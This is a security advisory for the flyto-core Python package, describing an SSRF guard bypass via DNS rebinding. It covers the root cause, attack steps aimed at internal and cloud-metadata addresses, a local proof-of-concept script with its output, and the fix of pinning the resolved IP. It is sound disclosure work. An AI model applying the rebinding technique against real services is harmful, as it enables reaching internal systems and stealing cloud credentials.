# GHSA-6PM8-6F34-9V3G: Flyto2 Core: SSRF guard bypass via DNS rebinding (validate\_url\_ssrf resolves-then-connects without pinning)

- Database: GitHub
- Severity: high (stated by ghsa, no CVSS score)
- Published: 2026-11-20
- Modified: 2026-11-20

## Tracked as

- [CVE-2026-77316](https://cve.now/CVE-2026-77316.md): Flyto Core server-side request forgery via DNS rebinding in URL guard

## Affected versions

- flyto-core (PyPI): fixed in 2.26.8

## Description

# [MEDIUM] SSRF guard bypass via DNS rebinding — validate_url_ssrf resolves-then-connects without pinning

- **CWE:** CWE-918 (SSRF) / CWE-367 (TOCTOU).
- **CVSS v3.1:** `AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N` = **6.8 Medium** (AC:H — needs attacker-controlled DNS with a low/zero TTL and to flip the answer between the guard's lookup and the connection's lookup; S:C — reaches internal/metadata services the guard is meant to block; C:H — e.g. cloud metadata credentials at 169.254.169.254).
- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7). `src/core/utils.py::validate_url_ssrf` (resolution at `getaddrinfo` ~L512, `is_private_ip` check ~L515) and every consumer: `guarded_aiohttp_request()`, `enforce_outbound_url()`/`validate_url_with_env_config()` — i.e. `http.get/request/batch`, `graphql.query/mutation`, `monitor.http_check`, `notification.{slack,discord,teams}`, `ai.vision_analyze`, `verify.visual_diff`, `browser.proxy_rotate`, etc.
- **Relationship:** Incomplete hardening of the SSRF-guard family (**GHSA-pgwh-4jj4-qm8v**, **GHSA-c9hr-64h3-gxpc**, **GHSA-794r-5rp2-fpg8**/CVE-2026-55787). Those fixes added per-module coverage, redirect revalidation, and IPv6-transition range-checks — but none pins the resolved address, so the guard's resolve-then-connect gap defeats all of them.

## Root cause
`validate_url_ssrf()` resolves the hostname with `socket.getaddrinfo()` and rejects the URL if any resolved IP is private. It then returns the **URL string** (hostname intact). The caller (`guarded_aiohttp_request`: `validate_url_with_env_config(url)` then `session.request(method, url, ...)`) hands the hostname to aiohttp, which performs an **independent second DNS resolution** at connect time. The validated IP is never pinned for the connection, so an attacker whose authoritative DNS returns a public A record for the guard's lookup and a private/loopback/metadata address for the connection's lookup reaches internal space. aiohttp resolves via its own resolver, distinct from the guard's `socket.getaddrinfo`, so the two lookups are genuinely separate — one flip is sufficient.

## Reachability
1. Attacker controls DNS for `rebind.attacker.test` (TTL 0), and drives any guarded HTTP module with `url=http://rebind.attacker.test/` (recipe / MCP `execute_module`).
2. Guard: `getaddrinfo` → public IP → `is_private_ip` false → **URL allowed**.
3. Outbound request: aiohttp re-resolves `rebind.attacker.test` → attacker now answers `127.0.0.1` / `169.254.169.254` → connects to the internal target. Redirect revalidation (GHSA-c9hr) does not help — the initial hop already rebinds.

## Executable PoC (benign, local; deterministic)
The attacker's TTL=0 flip is modelled by making `socket.getaddrinfo` return public on lookup #1 (the guard's) and loopback on later lookups (the connection's); a raw local TCP sentinel stands in for the internal service. No payload is sent.

```python
# (full source: findings/flyto-core/raw/poc_dns_rebinding.py)
# guard sees resolution #1 (public) -> ALLOWS;  connect re-resolves (127.0.0.1) -> hits sentinel
validate_url_ssrf("http://rebind.attacker.test:8080/")     # ALLOWED
socket.create_connection(("rebind.attacker.test", 8080))   # lands on 127.0.0.1 sentinel
```

Observed output:
```
[guard] validate_url_ssrf ALLOWED http://rebind.attacker.test:8080/  (saw public 93.184.216.34 on resolution #1)
[connect] outbound request re-resolved rebind.attacker.test -> 127.0.0.1 and reached the INTERNAL sentinel: True
BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)
```

## Adversarial re-read
- **Is the getaddrinfo monkeypatch cheating?** No — it deterministically models an attacker's TTL=0 authoritative DNS returning different answers to two separate lookups. The code gap is real and unavoidable: `validate_url_with_env_config(url)` resolves once, then `session.request(url)` resolves again with no pin.
- **Does aiohttp's DNS cache prevent it?** No — the guard's `socket.getaddrinfo` and aiohttp's resolver are independent; aiohttp caches its OWN (malicious) lookup, not the guard's.
- **Does redirect revalidation (GHSA-c9hr) block it?** No — the first hop rebinds before any redirect.
- **Multiple A records?** The guard loops all `getaddrinfo` results and rejects if any is private, so static multi-record does not bypass; only a time-of-use flip does.
- Result: no concrete blocker. CONFIRMED (Medium; AC:H because it needs attacker DNS + a flip).

## Remediation
Pin the validated address: resolve once, validate every returned IP, then **connect to the pinned IP** (not the hostname) — e.g. pass the resolved address to aiohttp via a custom `resolver`/`TCPConnector` (or set the `Host` header and connect by IP), so the guard's decision and the socket target are the same address. Apply for every hop in `guarded_aiohttp_request`. Alternatively, use a resolver wrapper that validates inside the connect path.

## Confidence
High that the resolve-then-connect gap exists and the guard is bypassable by rebinding (PoC fires against the real guard). Severity Medium due to the AC:H rebinding precondition.


## Proof-of-Concept source (`poc_dns_rebinding.py`)

```python
"""PoC: DNS-rebinding SSRF bypass of validate_url_ssrf (resolve-then-connect, no IP pin).
Faithful & benign: a raw local TCP sentinel stands in for an internal service; socket.getaddrinfo
flips public->private across successive lookups exactly as an attacker TTL=0 DNS does.
The guard validates the FIRST resolution (public -> passes) while the CONNECT re-resolves to the
sentinel (private) -> internal reach that the guard was supposed to block."""
import os, sys, socket, threading, time
sys.path.insert(0, os.path.join(os.getcwd(), "src"))
from core.utils import validate_url_ssrf, SSRFError

# 1) internal "service" sentinel: raw TCP listener on loopback
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
import errno
for _p in (8080, 8443):
    try:
        srv.bind(("127.0.0.1", _p)); break
    except OSError:
        continue
else:
    raise SystemExit("no allowed port free")
srv.listen(1)
PORT = srv.getsockname()[1]
hit = {"internal": False}
def accept_once():
    try:
        c,_ = srv.accept(); hit["internal"] = True; c.close()
    except OSError:
        pass
threading.Thread(target=accept_once, daemon=True).start()

HOST = "rebind.attacker.test"
PUBLIC = "93.184.216.34"   # example.com, public -> guard must ALLOW

# 2) attacker DNS: 1st lookup (the guard's) => public; later lookups (the connect's) => 127.0.0.1
_real = socket.getaddrinfo
calls = {"n": 0}
def flipping_getaddrinfo(host, port, *a, **k):
    if host == HOST:
        calls["n"] += 1
        ip = PUBLIC if calls["n"] == 1 else "127.0.0.1"
        return [(socket.AF_INET, socket.SOCK_STREAM, 6, "", (ip, port or 0))]
    return _real(host, port, *a, **k)
socket.getaddrinfo = flipping_getaddrinfo

# 3) GUARD runs (resolves #1 = public) -> should PASS
try:
    validate_url_ssrf(f"http://{HOST}:{PORT}/")
    print(f"[guard] validate_url_ssrf ALLOWED http://{HOST}:{PORT}/  (saw public {PUBLIC} on resolution #1)")
except SSRFError as e:
    print("[guard] blocked (rebinding not effective):", e); sys.exit(0)

# 4) the actual outbound CONNECT re-resolves (#2 = 127.0.0.1) -> lands on the internal sentinel
try:
    s = socket.create_connection((HOST, PORT), timeout=3); s.close()
except OSError as e:
    print("[connect] error:", e)
time.sleep(0.2)
socket.getaddrinfo = _real
print(f"[connect] outbound request re-resolved {HOST} -> 127.0.0.1 and reached the INTERNAL sentinel: {hit['internal']}")
print("BUG CONFIRMED: guard passed but connection reached the private/internal IP (DNS rebinding, no IP pin)"
      if hit["internal"] else "NOT CONFIRMED")
srv.close()

```

## References

- https://github.com/flytohub/flyto-core/security/advisories/GHSA-6pm8-6f34-9v3g
- https://github.com/flytohub/flyto-core/commit/bf748df864d348004cf45d830bc59f62c5c4a58a
- https://github.com/flytohub/flyto-core
- https://github.com/flytohub/flyto-core/releases/tag/v2.26.8

Page: https://cve.now/GHSA-6PM8-6F34-9V3G
